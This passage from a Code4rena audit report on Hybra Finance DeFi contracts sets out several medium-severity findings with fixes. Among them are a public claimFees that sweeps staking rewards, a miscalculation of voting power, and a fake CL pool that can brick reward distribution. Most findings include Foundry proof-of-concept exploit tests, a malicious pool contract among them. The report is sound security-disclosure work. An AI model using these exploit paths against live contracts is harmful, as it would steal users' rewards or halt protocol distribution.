            rewardReserve: totalRewardAmount,
            periodFinish: epochEndTimestamp
        });
    } else {
        revert("PoC focuses on the new reward period scenario");
    }
    rewardToken.transferFrom(DISTRIBUTION, address(this), rewardAmount);
    _periodFinish = epochEndTimestamp;
}

}

contract C4PoC is C4PoCTestbed { function setUp() public override { super.setUp(); }

function test_PoC_RolloverRewardsAreLost() public {
    // Step 1: Create a CL pool and necessary mock contracts for the test.
    address token0 = WETH < USDC ? WETH : USDC;
    address token1 = WETH < USDC ? USDC : WETH;
    
    uint256 amount0ToMint = 4000 * 1e6;
    uint256 amount1ToMint = 1 ether;

    MockERC20(token0).mint(deployer, amount0ToMint);
    MockERC20(token1).mint(deployer, amount1ToMint);
    
    vm.prank(deployer);
    MockERC20(token0).approve(address(nonfungiblePositionManager), type(uint256).max);
    vm.prank(deployer);
    MockERC20(token1).approve(address(nonfungiblePositionManager), type(uint256).max);
    
    vm.startPrank(deployer);
    nonfungiblePositionManager.mint(INonfungiblePositionManager.MintParams({
            token0: token0, token1: token1, tickSpacing: 2000,
            tickLower: -200000, tickUpper: 200000,
            amount0Desired: amount0ToMint,
            amount1Desired: amount1ToMint,
            amount0Min: 0, amount1Min: 0,
            recipient: deployer, deadline: block.timestamp,
            sqrtPriceX96: 2505414483750479311864138015344742
        }));
    vm.stopPrank();

    ICLPool clPool = ICLPool(poolFactory.getPool(token0, token1, 2000));
    assertTrue(address(clPool) != address(0), "Pool creation failed");

    // Step 2: Deploy our mock gauge and authorize it on the pool.
    // We use `vm.store` to bypass complex authorization mechanisms and directly
    // write our mock gauge's address into the pool's `gauge` storage slot (slot 3).
    MockERC20 rewardToken = new MockERC20("RewardToken", "RWD", 18);
    address rewardDistributor = makeAddr("rewardDistributor");
    MockVulnerableCLGauge_Rollover mockGauge = new MockVulnerableCLGauge_Rollover(
        address(clPool), address(rewardToken), rewardDistributor
    );
    
    bytes32 GAUGE_STORAGE_SLOT = bytes32(uint256(3));
    vm.store(
        address(clPool),
        GAUGE_STORAGE_SLOT,
        bytes32(uint256(uint160(address(mockGauge))))
    );
    assertEq(clPool.gauge(), address(mockGauge));

    uint256 reward1_to_be_lost = 100 ether;
    uint256 reward2_retained = 50 ether;
    rewardToken.mint(rewardDistributor, reward1_to_be_lost + reward2_retained);
    vm.prank(rewardDistributor);
    rewardToken.approve(address(mockGauge), type(uint256).max);

    // Step 3: EPOCH 1: Create a rollover situation
    // PRE-CONDITION: The pool has 0 staked liquidity, which is essential for this PoC
    // as it guarantees 100% of the undistributed reward will become rollover.
    vm.prank(rewardDistributor);
    mockGauge.notifyRewardAmount(address(rewardToken), reward1_to_be_lost);
    vm.warp(clPool.periodFinish() + 1);

    // Distribute 50 ether, triggering the vulnerability.
    vm.prank(rewardDistributor);
    mockGauge.notifyRewardAmount(address(rewardToken), reward2_retained);

    // Advance time and notify with 0. This finalizes the loss.
    vm.warp(clPool.periodFinish() + 1);
    vm.prank(rewardDistributor);
    mockGauge.notifyRewardAmount(address(rewardToken), 0);
    
    // Step 4: ASSERTION & PROOF
    uint256 finalGaugeBalance = rewardToken.balanceOf(address(mockGauge));
    uint256 finalPoolReserve = clPool.rewardReserve();
    uint256 lostAmount = finalGaugeBalance - finalPoolReserve;
    
    console2.log("--- Rollover Bug PoC Results ---");
    console2.log("Physical Token Balance in Gauge:", finalGaugeBalance);
    console2.log("Accounted Reward Reserve in Pool:", finalPoolReserve);
    console2.log("Amount of Stuck/Lost Tokens:", lostAmount);

    // Core Proof: The pool's final accounted reserve should only reflect the SECOND reward.
    // The first 100 ether reward has vanished from its books.
    uint256 dustTolerance = 1 ether; // A generous tolerance of 1 full token
    assertApproxEqAbs(
        finalPoolReserve, 
        reward2_retained, 
        dustTolerance, 
        "BUG: Pool reserve should be approximately 50 ether"
    );
    
    // Final check: The amount of lost funds must equal the first reward.
    assertApproxEqAbs(
        lostAmount, 
        reward1_to_be_lost, 
        dustTolerance, 
        "BUG: The lost amount should be approximately 100 ether"
    );
}

}

</details>

**[Hybra Finance mitigated](https://github.com/code-423n4/2025-11-hybra-finance-mitigation?tab=readme-ov-file#mitigations-of-high--medium-severity-issues):**
> fix - S-36 ClaimFees Steals Staking Rewards
> fix - S-841 rollover rewardRate calcuate
> fix - S-645 Missing unchecked block in Gauge Dependent Library Will Cause Freezing of Reward Calculations

**Status:** Mitigation confirmed. Full details in the [mitigation review reports from niffylord, rayss, and ZanyBonzy](https://code4rena.com/audits/2025-11-hybra-finance-mitigation-review/submissions/S-21).

***

## [[M-06] `ClaimFees` steals staking rewards](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-36)
*Submitted by [0xSeer](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-36), also found by [EtherEngineer](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-730), [hecker\_trieu\_tien](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-288), [ibrahimatix0x01](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-63), [maze](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-365), [piki](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-58), [saraswati](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-526), [Xander](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-167), and [zcai](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-672)*

`CLGauge/GaugeCL.sol` [#L304-L335](https://github.com/code-423n4/2025-10-hybra-finance/blob/6299bfbc089158221e5c645d4aaceceea474f5be/ve33/contracts/CLGauge/GaugeCL.sol#L304-L335)

### Description
The `_claimFees` function is designed to collect accrued trading fees from the underlying concentrated liquidity pool and transfer them to a designated `internal_bribe` contract. The function determines the amount of fees to transfer by checking the gauge's *entire* token balance for `token0` and `token1` after calling `clPool.collectFees()`.

The critical vulnerability lies in this assumption. The contract has another mechanism to receive tokens: the `notifyRewardAmount` function, which is called by the `DISTRIBUTION` contract to fund the gauge with `rewardToken` for stakers.

If the `rewardToken` is the same as either `token0` or `token1` of the pool (a common scenario in DeFi, e.g., rewarding a WETH/USDC pool with WETH), the `claimFees` function will incorrectly identify the staking rewards as trading fees. Because `claimFees` is a public function with no access control, anyone can call it right after rewards are deposited, causing all reward funds to be swept to the `internal_bribe` contract.

### Impact
This vulnerability leads to a direct loss of funds for users who have staked their NFTs in the gauge. All `rewardToken`s intended for stakers during an epoch can be permanently redirected and stolen from them. This breaks the core incentive mechanism of the gauge.

Furthermore, the gauge's internal accounting for rewards (`rewardRate`, `_periodFinish`) becomes completely desynchronized from its actual token balance. This can lead to a secondary Denial-of-Service (DoS) condition, as future calls to `notifyRewardAmount` may fail on the `require(rewardRate <= contractBalance / epochTimeRemaining, ...)` check, preventing the gauge from being funded for subsequent epochs.

### Attack Scenario
1.  A gauge is set up for a WETH/USDC pool, with WETH as the `rewardToken`.
2.  The `DISTRIBUTION` contract calls `notifyRewardAmount`, transferring 10 WETH to the gauge as staking rewards for the upcoming week.
3.  An attacker immediately calls the public `claimFees()` function.
4.  The function calls `clPool.collectFees()`, which might transfer a small amount of WETH fees (e.g., 0.1 WETH) to the gauge.
5.  The function then reads the gauge's total WETH balance, which is now 10.1 WETH (10 WETH from rewards + 0.1 WETH from fees).
6.  It proceeds to transfer the entire 10.1 WETH to the `internal_bribe` contract.
7.  The 10 WETH in rewards are now lost to the stakers. The gauge has no funds to pay out the promised rewards.

### Recommendation
The `_claimFees` function must be modified to only transfer the fees that are explicitly collected by the `clPool.collectFees()` call, rather than sweeping the contract's entire balance. This can be achieved by measuring the contract's balance of `token0` and `token1` immediately before and after the `collectFees()` call and only transferring the difference.

```solidity
function _claimFees() internal returns (uint256 claimed0, uint256 claimed1) {
    if (!isForPair) {
        return (0, 0);
    }
    
    address _token0 = clPool.token0();
    address _token1 = clPool.token1();

    uint256 balance0Before = IERC20(_token0).balanceOf(address(this));
    uint256 balance1Before = IERC20(_token1).balanceOf(address(this));

    clPool.collectFees();

    uint256 balance0After = IERC20(_token0).balanceOf(address(this));
    uint256 balance1After = IERC20(_token1).balanceOf(address(this));

    claimed0 = balance0After - balance0Before;
    claimed1 = balance1After - balance1Before;

    if (claimed0 > 0) {
        IERC20(_token0).safeApprove(internal_bribe, 0);
        IERC20(_token0).safeApprove(internal_bribe, claimed0);
        IBribe(internal_bribe).notifyRewardAmount(_token0, claimed0);
    } 
    if (claimed1 > 0) {
        IERC20(_token1).safeApprove(internal_bribe, 0);
        IERC20(_token1).safeApprove(internal_bribe, claimed1);
        IBribe(internal_bribe).notifyRewardAmount(_token1, claimed1);
    } 
    
    if (claimed0 > 0 || claimed1 > 0) {
        emit ClaimFees(msg.sender, claimed0, claimed1);
    }
}

Additionally, consider adding access control to the claimFees function (e.g., onlyOwner or a dedicated keeper role) to prevent potential griefing attacks and ensure it is called under intended conditions.

Proof of concept
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;

import "forge-std/Test.sol";

import {C4PoCTestbed} from "./C4PoCTestbed.t.sol";
import {GaugeCL} from "../contracts/CLGauge/GaugeCL.sol";
import {ICLPool} from "../contracts/CLGauge/interface/ICLPool.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/**
 * @title C4PoC_Findings
 * @notice Proof of Concept test for finding #3.
 * @dev All available variables from C4PoCTestbed are available here.
 */
contract C4PoC_Findings is C4PoCTestbed {
    function setUp() public override {
        super.setUp();
        // The BribeFactoryV3 is deployed but not initialized in the testbed.
        // We must initialize it here to set the owner, allowing createBribe to be called.
        bribeFactoryV3.initialize(address(voter), address(gaugeManager), address(permissionsRegistry), address(tokenHandler));
    }

    /*//////////////////////////////////////////////////////////////
                           FINDING: ClaimFees Steals Staking Rewards
    //////////////////////////////////////////////////////////////*/

    function test_PoC_Finding3_ClaimFeesStealsStakingRewards() public {
        // 1. SETUP: Create actors, tokens, and contracts.
        address attacker = makeAddr("attacker");
        address clPoolAddress = makeAddr("clPoolMock");
        
        // Use the testbed's `hybr` as token0/rewardToken and `rewardHybr` as token1.
        // This avoids deploying a new MockERC20.
        address token1 = address(rewardHybr);

        // Create a real bribe contract using the factory from the testbed.
        address internalBribe = bribeFactoryV3.createBribe(address(this), address(hybr), token1, "cl");

        // Deploy the vulnerable GaugeCL contract.
        GaugeCL gauge = new GaugeCL(
            address(hybr),    // _rewardToken (same as token0)
            address(rewardHybr),
            address(votingEscrow),
            clPoolAddress,
            address(rewardsDistributor),
            internalBribe,
            address(0),       // _external_bribe
            true,             // _isForPair = true is required for _claimFees to execute
            address(clNonfungiblePositionManager),
            address(0)        // _factory
        );

        // Define reward and fee amounts.
        uint256 rewardsAmount = 10 ether;
        uint256 feesAmount = 0.1 ether;

        // 2. MOCKING: Set up behavior for the mock Concentrated Liquidity Pool.
        vm.mockCall(clPoolAddress, abi.encodeWithSelector(bytes4(keccak256("token0()"))), abi.encode(address(hybr)));
        vm.mockCall(clPoolAddress, abi.encodeWithSelector(bytes4(keccak256("token1()"))), abi.encode(token1));
        // Mock collectFees to do nothing, as we will manually transfer fees to simulate the state.
        vm.mockCall(clPoolAddress, abi.encodeWithSelector(bytes4(keccak256("collectFees()"))), abi.encode(uint128(0), uint128(0)));
        
        // Mock other functions that might be called by notifyRewardAmount
        vm.mockCall(clPoolAddress, abi.encodeWithSelector(bytes4(keccak256("updateRewardsGrowthGlobal()"))), abi.encode());
        vm.mockCall(clPoolAddress, abi.encodeWithSelector(bytes4(keccak256("rollover()"))), abi.encode(uint256(0)));
        vm.mockCall(clPoolAddress, abi.encodeWithSelector(bytes4(keccak256("syncReward(uint256,uint256,uint256)"))), abi.encode());

        // 3. SCENARIO: The DISTRIBUTION contract deposits staking rewards into the gauge.
        hybr.transfer(address(rewardsDistributor), rewardsAmount);
        
        vm.startPrank(address(rewardsDistributor));
        hybr.approve(address(gauge), rewardsAmount);
        gauge.notifyRewardAmount(address(hybr), rewardsAmount);
        vm.stopPrank();
        
        // Pre-exploit verification: Gauge should hold only the rewards at this point.
        assertEq(hybr.balanceOf(address(gauge)), rewardsAmount, "Pre-exploit setup failed: Gauge should hold the staking rewards");
        assertEq(hybr.balanceOf(internalBribe), 0, "Pre-exploit setup failed: Bribe contract should be empty");

        // Manually transfer fees to the gauge to simulate a state where fees have been collected
        // but not yet claimed. This puts the contract in the vulnerable state.
        hybr.transfer(address(gauge), feesAmount);
        assertEq(hybr.balanceOf(address(gauge)), rewardsAmount + feesAmount, "Vulnerable state setup failed: Gauge should hold rewards + fees");

        // 4. EXPLOIT: Attacker calls the public, permissionless claimFees() function.
        vm.prank(attacker);
        gauge.claimFees();

        // 5. ASSERTION: Verify the exploit's success.
        uint256 finalBribeBalance = hybr.balanceOf(internalBribe);
        uint256 totalStolenAmount = rewardsAmount + feesAmount;

        // The gauge is now empty, as all its token0 balance (rewards + newly collected fees) was swept.
        assertEq(hybr.balanceOf(address(gauge)), 0, "Exploit check failed: Gauge was not drained of all token0");
        
        // The internalBribe contract received ALL funds: both rewards and fees.
        string memory successMessage = "EXPLOIT SUCCESSFUL: Rewards intended for stakers were stolen by claimFees() and sent to the bribe contract.";
        assertEq(finalBribeBalance, totalStolenAmount, successMessage);
    }
}

Hybra Finance mitigated:

fix - S-36 ClaimFees Steals Staking Rewards fix - S-841 rollover rewardRate calcuate fix - S-645 Missing unchecked block in Gauge Dependent Library Will Cause Freezing of Reward Calculations

Status: Mitigation confirmed. Full details in the mitigation review reports from niffylord, rayss, and ZanyBonzy.


[M-07] Claiming rewards in GovernanceHYBR will always revert

Submitted by OpaBatyo, also found by 0xvd and harry

GovernanceHYBR.sol #L370

Details

When the operator claims rewards in GovernanceHYBR.sol, the function attempts to fetch the voted pools aray from the voter contract:

    // Claim bribes from voted pools
    address[] memory votedPools = IVoter(voter).poolVote(veTokenId);

This line will always revert and the function is broken. It attempts to fetch the addresses array from a mapping in VoterV3.sol:

    mapping(uint256 => address[]) public poolVote;

This will not work - the way solidity auto-generates a getter for a mapping is using an id and index. Although this exists in the interface, it is not used correctly in the function to claim itself:

    function poolVote(uint id, uint _index) external view returns(address _pair); // correct way to be fetched

But the way it’s fetched in claimRewards() will not work since solidity cannot return an addresses array using only the tokenId of the mapping.

Impact

Function is completely broken.

Mitigation

Add a getter function in VoterV3.sol that returns an array of addresses and use that instead when claiming rewards:

    function getPoolVote(uint tokenId) external view returns (address[] memory) {
        return poolVote[tokenId];
    }
Proof of concept
  1. Copy MockERC20.sol from cl/contracts/mocks/ to ve33/contracts/test/
  2. Change MockERC20.sol solc version to pragma solidity ^0.8.0; for tests to run and import it in C4PoCTestbed.t.sol
  3. Paste following in C4PoCTestbed.t.sol contract level:

    contract C4PoCTestbed is Test, CLContractsImporter {
    ...
    address public USDC;
    address public USDT;
    address public DAI;
    address public gHybrOperator;
  4. Paste the following function to C4PoCTestbed.t.sol to initialize parameters.

    function lastPhase() internal {
        // Deploy USDC, USDT, DAI, and WETH
        USDC = address(new MockERC20("USDC", "USDC", 6));
        USDT = address(new MockERC20("USDT", "USDT", 6));
        DAI = address(new MockERC20("DAI", "DAI", 18));
    
        // We need to initialize Bribe Factory properly for the tests to run
        bribeFactoryV3.initialize(address(voter), address(gaugeManager), address(permissionsRegistry), address(tokenHandler));
    
        // We need to set roles so that we can whitelist the mock tokens
        permissionsRegistry.setRoleFor(address(team), "GOVERNANCE");
    
        // Whitelisting the mock tokens
        vm.startPrank(address(team));
        tokenHandler.whitelistToken(address(USDC));
        tokenHandler.whitelistToken(address(USDT));
        tokenHandler.whitelistToken(address(DAI));
        tokenHandler.whitelistConnector(address(USDC));
        tokenHandler.whitelistConnector(address(USDT));
        tokenHandler.whitelistConnector(address(DAI));
        vm.stopPrank();
    
        // Creating the pools
        address pairA = thenaFiFactory.createPair(address(USDC), address(USDT), true);
        address pairB = thenaFiFactory.createPair(address(USDC), address(DAI), true);
    
        // Creating the gauges
        gaugeManager.createGauge(pairA, 0);
        gaugeManager.createGauge(pairB, 0);
    
        // Set Voter and operator on GrowthHYBR
        gHybr.setVoter(address(voter));
        gHybr.setOperator(address(gHybrOperator));
    }
  5. Paste the following in the C4PoCTestbed.t.sol’s setUp() function

    function setUp() public virtual {
        ...
        gHybrOperator = makeAddr("operator");
        ...
        lastPhase();
    }
  6. Add this test to C4PoC.t.sol

        function testMappingRevert() external {
        // Deal Alice tokens and deposit
        address alice = makeAddr("alice");
        deal(address(hybr), address(alice), 100e18);
        vm.startPrank(alice);
        hybr.approve(address(gHybr), type(uint256).max);
        gHybr.deposit(100e18, address(alice));
    
        // Warp 1 week
        vm.warp(block.timestamp + 1 weeks + 301);
    
        // Voting for pools with gHYBR NFT
        address[] memory poolVotes = thenaFiFactory.pairs();
        uint256[] memory weights = new uint256[](poolVotes.length);
        weights[0] = 50;
        weights[1] = 50;
        vm.startPrank(address(gHybrOperator));
        gHybr.vote(poolVotes, weights);
    
        // Warp more time
        vm.warp(block.timestamp + 48 hours);
    
        // Attempt to claim rewards
        vm.startPrank(address(gHybrOperator));
        vm.expectRevert();
        gHybr.claimRewards();
    }

    Run with forge test --mt testMappingRevert -vvvv

Hybra Finance mitigated:

fixed Claiming rewards in GovernanceHYBR

Status: Mitigation confirmed. Full details in the mitigation review reports from niffylord, rayss, and ZanyBonzy.


[M-08] Incorrect voting power calculation when create_lock and increase_amount are called in the same transaction

Submitted by dreamcoder, also found by fullstop

VotingEscrow.sol #L760

Summary

In VotingEscrow.sol:

function _checkpoint(
        uint _tokenId,
        IVotingEscrow.LockedBalance memory old_locked,
        IVotingEscrow.LockedBalance memory new_locked
    ) internal {

    // ...

    if (_tokenId != 0) {

        // ...
        uint user_epoch = votingBalanceLogicData.user_point_epoch[_tokenId] + 1;

        votingBalanceLogicData.user_point_epoch[_tokenId] = user_epoch;
        u_new.ts = block.timestamp;
        u_new.blk = block.number;
        votingBalanceLogicData.user_point_history[_tokenId][user_epoch] = u_new;

    }

}

If the second _checkpoint runs in the same transaction as the first _checkpoint, the function creates a new epoch even though both locks has the same timestamp. As a result, when calculating balanceOfNFT, the second lock is ignored. This means the voting power is computed using the old lock amount, and the newly added amount is not included.

Therefore, voting power is calculated incorrectly and users will lose rewards when the functions that call checkpoint (increaseamount, depositfor, createlock, merge, split etc) are executed within the same transaction.

function _checkpoint(
        uint _tokenId,
        IVotingEscrow.LockedBalance memory old_locked,
        IVotingEscrow.LockedBalance memory new_locked
    ) internal {

    // ...

    if (_tokenId != 0) {

        // ...
-        uint user_epoch = votingBalanceLogicData.user_point_epoch[_tokenId] + 1;
-        votingBalanceLogicData.user_point_epoch[_tokenId] = user_epoch;
-        u_new.ts = block.timestamp;
-        u_new.blk = block.number;
-        votingBalanceLogicData.user_point_history[_tokenId][user_epoch] = u_new;

+        uint user_epoch = votingBalanceLogicData.user_point_epoch[_tokenId];
+        if (user_epoch > 0 && votingBalanceLogicData.user_point_history[_tokenId][user_epoch].ts == block.timestamp) {
      // overwrite the latest point (same timestamp)
+            u_new.ts = block.timestamp;
+            u_new.blk = block.number;
+            votingBalanceLogicData.user_point_history[_tokenId][user_epoch] = u_new;
+         } else {
      // append new point
+            user_epoch = user_epoch + 1;
+            votingBalanceLogicData.user_point_epoch[_tokenId] = user_epoch;
+            u_new.ts = block.timestamp;
+            u_new.blk = block.number;
+            votingBalanceLogicData.user_point_history[_tokenId][user_epoch] = u_new;
         }
    }

}
Proof of concept In `/ve33/test/C4PoC.t.sol`:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;

import "forge-std/Test.sol";

import {C4PoCTestbed} from "./C4PoCTestbed.t.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Bribe} from "../contracts/Bribes.sol";

contract MockBribeToken is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
        _mint(msg.sender, 1_000_000e18);
    }
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}
contract C4PoC is C4PoCTestbed {
    function setUp() public override {
        super.setUp();
    }

function test_incorrect_voting_power_increase_amount_in_same_transaction() public {
        uint256 WEEK = 1800 + 301;
        vm.warp(3 * WEEK);
        // Actors
        address alice = vm.addr(100); 
        address bob = vm.addr(200); 
        uint256 lockAmount = 1_000e18;
        uint256 bribeReward = 500e18;

        // Bribe Setup
        MockBribeToken bribeToken = new MockBribeToken("Bribe Coin", "BC");
        address bribeTokenAddress = address(bribeToken);
        bribeFactoryV3.initialize(address(voter), address(gaugeManager), address(permissionsRegistry), address(tokenHandler));
        permissionsRegistry.setRoleFor(deployer, "GOVERNANCE");
        vm.startPrank(deployer);
        tokenHandler.whitelistToken(address(bribeToken));
        tokenHandler.whitelistToken(address(hybr));
        tokenHandler.whitelistConnector(address(hybr));
        tokenHandler.whitelistConnector(address(bribeToken));
        vm.stopPrank();
        address pool = thenaFiFactory.createPair(address(hybr), address(bribeToken), false);
        (address _gauge, address _internal_bribe, address _external_bribe) = gaugeManager.createGauge(address(pool), 0);

Bribe bribeContract = Bribe(_internal_bribe);
        address bribeAddress = _internal_bribe;

        // Fund Alice and bob
        vm.startPrank(deployer);
        hybr.transfer(alice, lockAmount * 2);
        hybr.transfer(bob, lockAmount);
        vm.stopPrank();

        uint256 lockDuration = 365 * 86400; // 1 years in seconds
        uint256 lockEnd = block.timestamp + lockDuration;

//create lock
        //Alice locks lockAmount /2 and increase lockAmount / 2, so total =  lockAmount
        
        vm.startPrank(alice);
        hybr.approve(address(votingEscrow), lockAmount);
        uint256 aliceTokenId = votingEscrow.create_lock(lockAmount / 2, lockEnd);
        votingEscrow.increase_amount(aliceTokenId, lockAmount / 2);

        //Bob locks lockAmount lockAmount, so total = lockAmount
        vm.stopPrank();
        vm.startPrank(bob);
        hybr.approve(address(votingEscrow), lockAmount);
        uint256 bobTokenId = votingEscrow.create_lock(lockAmount, lockEnd);
        vm.stopPrank();
        
        uint256 finalAliceBalance = bribeToken.balanceOf(alice);
        uint256 finalBobBalance = bribeToken.balanceOf(bob);

// voting
        address[] memory pools = new address[](1);
        pools[0] = address(pool);
        uint256[] memory weights = new uint256[](1);
        weights[0] = 10000; 
        vm.prank(alice);
        voter.vote(aliceTokenId, pools, weights);
        
        vm.prank(bob);
        voter.vote(bobTokenId, pools, weights);

// bribe reward
        vm.prank(deployer);
        bribeToken.mint(deployer, bribeReward);
        bribeToken.approve(bribeAddress, bribeReward);
        vm.prank(deployer);
        bribeContract.notifyRewardAmount(bribeTokenAddress, bribeReward);

vm.warp(block.timestamp + lockDuration + 10200);

        address[][] memory tokens = new address[][](1);
        tokens[0] = new address[](1);
        tokens[0][0] = bribeTokenAddress;

        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeContract);

        vm.prank(alice);
        gaugeManager.claimBribes(bribes, tokens, aliceTokenId);

vm.prank(bob);
        gaugeManager.claimBribes(bribes, tokens, bobTokenId);

finalAliceBalance = bribeToken.balanceOf(alice);
        finalBobBalance = bribeToken.balanceOf(bob);
        (int128 amount1, ,) = votingEscrow.locked(aliceTokenId);
        (int128 amount2, ,) = votingEscrow.locked(bobTokenId);
        console.log("Alice's lock balance = ", amount1);
        console.log("Bob's lock balance = ", amount2);
        console.log("Alice's Final Bribe Balance = ", finalAliceBalance);
        console.log("Bob's Final Bribe Balance = ", finalBobBalance);
        
    }
}

Run command

forge test --mt test_incorrect_voting_power_increase_amount_in_same_transaction -vv

Output:

  Alice's lock balance =  1000000000000000000000
  Bob's lock balance =  1000000000000000000000
  Alice's Final Bribe Balance =  166666666666666666666
  Bob's Final Bribe Balance =  333333333333333333333

As result shows, both users have the same lock balance, but Alice received less reward by incorrect power voting calculation.

Hybra Finance mitigated:

S-635 Fix voting power when createlock + increaseamount in same tx Ensure correct voting power calculation when createlock and increaseamount are called in the same transaction. S-470 Penalty Mechanism for PartnerNFT

Status: Mitigation confirmed. Full details in the mitigation review reports from niffylord, rayss, and ZanyBonzy.


[M-09] CL gauge accepts unverified pools, allowing malicious pool to brick distribution

Submitted by niffylord, also found by adriansham99, blokfrank, ChainSentry, freescore, InvarianteX, mbuba666, Nyxaris, omeiza, piki, PotEater, Vagner, Waze, whiterabbit, and Wojack

This issue was also found by V12.

Summary

When creating concentrated-liquidity (CL) gauges, GaugeManager._createGauge() never verifies that the provided pool address is a genuine CL pool deployed by the trusted factory. Any contract that exposes token0()/token1() and passes token whitelist checks is accepted. GaugeCL later calls untrusted pool methods (e.g., updateRewardsGrowthGlobal()), so a malicious “pool” can revert and permanently brick emissions distribution once voted.

Impact

  • Unprivileged actor creates a fake CL pool and a gauge for it. When any veNFT votes for the pool, GaugeManager.distribute*() reverts via GaugeCL.notifyRewardAmount(), halting rewards for all pools until governance kills the malicious gauge.
  • Operational liveness risk; automation for distribution breaks. Emissions accounting stalls and requires manual intervention.

Root Cause

The vulnerability exists at line 181-184 of GaugeManager.sol where CL pools bypass factory verification:

if(_gaugeType == 0){
    isPair = IPairFactory(_factory).isPair(_pool);  // ✅ Standard pairs ARE verified
} 
if(_gaugeType == 1) {
    // removed due to code size
    // require(_pool_hyper == _pool_factory, 'wrong tokens');    
    isPair = true;  // ❌ CL pools NOT verified - just set to true!
}

Critical Evidence: The inline comment // removed due to code size reveals that developers were aware that proper validation should exist but deliberately removed it to save bytecode. The commented-out code shows the intended check was comparing pool addresses from factory.

This creates a dangerous inconsistency:

  • Standard pairs (_gaugeType == 0): Properly validated via IPairFactory.isPair(_pool)
  • CL pools (_gaugeType == 1): Accept ANY contract implementing token0()/token1() - no factory verification

Detailed locations:

  • Enforce provenance: require _pool to originate from the approved CL factory (e.g., ICLFactory(_pairFactoryCL).getPool(token0, token1, tickSpacing) == _pool) before gauge creation.
  • Alternatively, restrict CL gauge creation to governance and only for pools discovered via the factory.
  • Optionally, quarantine failing gauges in distribute* via try/catch and return their claimable emissions to the minter to preserve global liveness.
Proof of concept Run the included Foundry test, which deploys a malicious CL pool that reverts in `updateRewardsGrowthGlobal()` and shows distribution bricking after voting.

CLI:

  • forge test —match-path ve33/test/GaugeManagerMaliciousPool.t.sol —match-test testMaliciousCLPoolBlocksDistribution -vvv

Expected: gaugeManager.distributeAll() reverts with “Malicious pool blocks reward update”.

PoC Code (excerpt from ve33/test/GaugeManagerMaliciousPool.t.sol):

// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;

import "forge-std/Test.sol";
import "./C4PoCTestbed.t.sol";
import "../contracts/libraries/HybraTimeLibrary.sol";

contract MaliciousCLPool {
    address public immutable tokenA;
    address public immutable tokenB;
    address public gauge;
    address public positionManager;

    constructor(address _tokenA, address _tokenB) {
        tokenA = _tokenA;
        tokenB = _tokenB;
    }

    function token0() external view returns (address) { return tokenA; }
    function token1() external view returns (address) { return tokenB; }
    function setGaugeAndPositionManager(address _gauge, address _nfpm) external { gauge = _gauge; positionManager = _nfpm; }
    function updateRewardsGrowthGlobal() external pure { revert("Malicious pool blocks reward update"); }
    function getRewardGrowthInside(int24, int24, uint256) external pure returns (uint256) { return 0; }
    function rewardGrowthGlobalX128() external pure returns (uint256) { return 0; }
    function rollover() external pure returns (uint256) { return 0; }
    function stakedLiquidity() external pure returns (uint128) { return 0; }
    function lastUpdated() external view returns (uint32) { return uint32(block.timestamp); }
    function syncReward(uint256, uint256, uint256) external {}
    function stake(int128, int24, int24, bool) external {}
    function collectFees() external {}
    function gaugeFees() external pure returns (uint256, uint256) { return (0, 0); }
}

contract GaugeManagerMaliciousPoolTest is C4PoCTestbed {
    MaliciousCLPool internal maliciousPool;

    function setUp() public override {
        super.setUp();
        maliciousPool = new MaliciousCLPool(address(hybr), address(new ERC20("Mock", "M")));
        // whitelist tokens and connector omitted for brevity (done in full test)
    }

    function _advanceToVotingWindow() internal {
        uint256 epochStart = HybraTimeLibrary.epochStart(block.timestamp);
        uint256 voteStart = HybraTimeLibrary.epochVoteStart(epochStart);
        if (block.timestamp <= voteStart) vm.warp(voteStart + 1);
    }

    function _advanceEpoch() internal {
        uint256 nextEpoch = HybraTimeLibrary.epochNext(block.timestamp);
        vm.warp(nextEpoch + 1);
    }

    function testMaliciousCLPoolBlocksDistribution() public {
        (address gauge,,) = gaugeManager.createGauge(address(maliciousPool), 1);
        assertTrue(gaugeManager.isGauge(gauge));

        uint256 lockAmount = 1e21;
        hybr.approve(address(votingEscrow), lockAmount);
        uint256 tokenId = votingEscrow.create_lock(lockAmount, 4 weeks);

        _advanceToVotingWindow();
        address[] memory pools = new address[](1);
        pools[0] = address(maliciousPool);
        uint256[] memory weights = new uint256[](1);
        weights[0] = 100;
        voter.vote(tokenId, pools, weights);

        _advanceEpoch();
        vm.expectRevert("Malicious pool blocks reward update");
        gaugeManager.distributeAll();
    }
}

Hybra Finance mitigated:

Added access control: only the GaugeManager can call the GaugeFactory to create gauges.

Status: Unmitigated. Full details in the mitigation review reports from niffylord and ZanyBonzy.


Low Risk and Non-Critical Issues

For this audit, 45 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by rayss received the top score from the judge.

The following wardens also submitted reports: 0xkhwarix, 0xki, 0xnija, 0xsai, albahaca, Almanax, ARMoh, asotu3, baccarat, Bale, cheatc0d3, ciphermalware, dee24, dmdg321, EtherEngineer, francoHacker, freescore, fromeo_016, Gujarati07, Harisuthan, hypna, IvanAlexandur, jerry0422, johnyfwesh, K42, kmkm, Mathriel, maze, mbuba666, newspacexyz, niffylord, oct0pwn, osok, PolarizedLight, psyone, reidnerFM, Sancybars, Silverwind, Sourav_DEV, Sparrow, valarislife, winnerz, ZanyBonzy, and zcai.

QA report by rayss

The report consists of low-severity risk issues and a few non-critical issues in the end.

Findings Overview

Label Description Severity
L‑01 Permanent Denial of Service in collectAllProtocolFees() Low
L‑02 It is Possible to Create a Gauge with rewardToken = 0x0 and Can Permanently Lock User’s Nft Low
